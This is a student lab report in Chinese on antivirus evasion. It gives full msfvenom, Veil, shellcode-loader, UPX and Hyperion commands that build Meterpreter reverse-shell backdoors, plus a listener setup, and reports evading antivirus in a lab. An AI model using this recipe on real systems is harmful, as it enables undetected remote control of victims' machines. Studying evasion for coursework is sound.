20192421 2021-2022-2 《网络与系统攻防技术》实验三实验报告
一、实验内容
1.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
2.通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验要求
- 掌握免杀原理与技术
- 回答问题
1.杀软是如何检测出恶意代码的?
一共有三种检测方式:
(1)检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套专门的特征库,依靠检索程序代码是否和库中特征码吻合来判断某段代码是否属于病毒。
(2)启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定程度就可以认为该程序是病毒程序。
(3)基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等恶意行为,判断程序是否属于恶意代码。
2.免杀是做什么?
通过一些手段来欺骗杀软的检测扫描措施,避免被杀毒软件查杀,并控制被植入机
3.免杀的基本方法有哪些?
(1)改变特征码
- exe加壳
- 有shellcode可以用encode进行编码
- 有源代码可以用veil-evasion进行重写再编译
(2)改变行为
- 尽量使用反弹式连接、使用隧道技术
- 基于内存操作、减少对系统的修改、加入花指令之类的
三、实验过程
1.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用工具对实验2中所生成的后门程序进行检验
通过使用VirusTotal或者Virscan等工具进行扫描,在VirusTotal工具中的扫描结果:68款杀毒软件有53款能够检测出此后门程序;在Virscan工具中的扫描结果:51款杀毒软件有18款能够检测出此后门程序。检测结果如下图所示:
(2)使用Metasploit的编码器尝试使后门程序能够免杀,首先,我们来了解一下Metasploit的编码器有哪些,使用如下命令查看Metasploit的编码器:
msfvenom --list encoders
结果如下图:
(3)使用x86/shikata_ga_nai对后门程序进行一次编码,使用命令如下:
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.198 LPORT=2421 -f exe > msf192421.exe # 其中192.168.31.198为Windows反弹回连Kali的IP地址
再次使用工具VirusTotal和Virscan扫描后门程序,在VirusTotal工具中的扫描结果:68款杀毒软件有49款能够检测出此后门程序;在Virscan工具中的扫描结果:51款杀毒软件有16款能够检测出此后门程序。结果如下图:
可以发现只编码一次,对于程序免杀实现作用不大。
(4)使用x86/shikata_ga_nai对后门程序进行多次编码,再次生成新的exe文件
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -20 -b '\x00' LHOST=192.168.31.198 LPORT=2421 -f exe > msf20192421.exe
-i是迭代次数,这里我们选择迭代20次
再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为49/69可以发现,进行20次编码对于实现免杀也没有什么作用。
(5)利用msf编码器生成其他类型的文件
以jar类型为例
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=2421 x > 20192421msf2.jar
再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为32/59。
以php类型为例
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=2421 x> 20192421msf3.php
再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为21/57。
以py类型为例
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.198 LPORT=2421 > 20192421msf4.py
再次使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为21/57
可以发现在更改了文件格式之后,检出率有所下降
(6)安装veil加壳工具
使用如下命令:
apt -y install veil # 执行此命令后稍作等待
vim /usr/share/veil/config/setup.sh
在260行处可以找到一个git clone https://github.com/Veil-Framework/VeilDependencies.git的命令,将命令中的Github链接修改为Gitee链接的地址https://gitee.com/githubren/VeilDependencies.git ,保存后再执行
/usr/share/veil/config/setup.sh --force --silent
安装之后的界面如下图:
(7)使用veil-evasion生成后门程序
输入命令 use evasion
进入Evil-Evasion
输入命令 use c/meterpreter/rev_tcp.py
进入配置界面
输入命令 set LHOST 192.168.56.101
设置反弹连接IP
输入命令 set LPORT 2420
设置端口
输入命令 options
查看配置
输入命令 generate
生成文件,接着输入文件名为 veil20192421
使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为40/69
(8)使用C+shellcode编程
输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.133 LPORT=2421 -f c
输入命令 vi 20192421shellcode1.c
新建文件,输入上图的代码
使用如下命令添加主函数
cat >>192426shellcode.c<<EOF
int main(){
int (*func)() = (int(*)())buf;
func();
}
EOF
输入命令 i686-w64-mingw32-g++ 20192421shellcode1.c -o 20192421shellcode1.exe
编译.c文件为可执行文件
使用VirusTotal来检测生成的后门程序,如图所示,VirusTotal的检出率为39/68
2.通过组合应用各种技术实现恶意代码免杀
(1)使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行20次编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.157.133 LPORT=2421 -f c > 20192421shellcode22.c
(2)添加主函数
cat >>20192421shellcode22.c<<EOF
int main(){
int (*func)() = (int(*)())buf;
func();
}
EOF
(3)输入命令:
i686-w64-mingw32-g++ 20192421shellcode22.c -o 20192421shellcode22.exe
(4)使用upx给程序加上一层压缩壳
upx 20192421shellcode22.exe -o 20192421shellcode23.exe
(5)使用hyperion给程序加上一层加密壳
wine /usr/share/windows-resources/hyperion/hyperion.exe -v 20192421shellcode23.exe 20192421shellcode24.exe
(6)将生成的可执行程序传到Windows上,使用杀毒软件进行扫描
结果如下,杀毒软件并未检验出该程序
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell
use exploit/multi/handler # 进入监听模块
# [*] Using configured payload generic/shell_reverse_tcp
set payload windows/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
# payload => windows/meterpreter/reverse_tcp
set LHOST 192.168.56.112 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
# LHOST => 192.168.56.112
set LPORT 8000 # 设置端口号,请与后门程序的LPORT参数保持一致
# LPORT => 8000
exploit
# [*] Started reverse TCP handler on 192.168.56.112:8000
# 当出现上面的提示时在Windows上打开后门程序
(2)在Windows上运行后门程序
结果如下图
成功获取到权限。
四、问题及解决方案
- 问题1:veil最初安装出现了报错,导致veil安装无法顺利进行
- 问题1解决方案:询问同学之后,发现可以通过换库链接方式来解决
- 问题2:在加壳时,我的机器若先加载加密壳再加载压缩壳则无法出成果
- 问题2解决方案:先加载压缩壳再加载加密壳则成功了,具体原因则不清楚
五、学习感悟、思考等
本次实践在安装veil上花费了较多时间,严重拖慢了进度,差点以为实验无法进行了。也在网上找了许多相关的解答帖子,加载了许多乱七八糟的东西,最后求助同学发现需要更改文件内容,改变其中库的链接即可。还是对于这方面的知识不够了解,需要多加学习。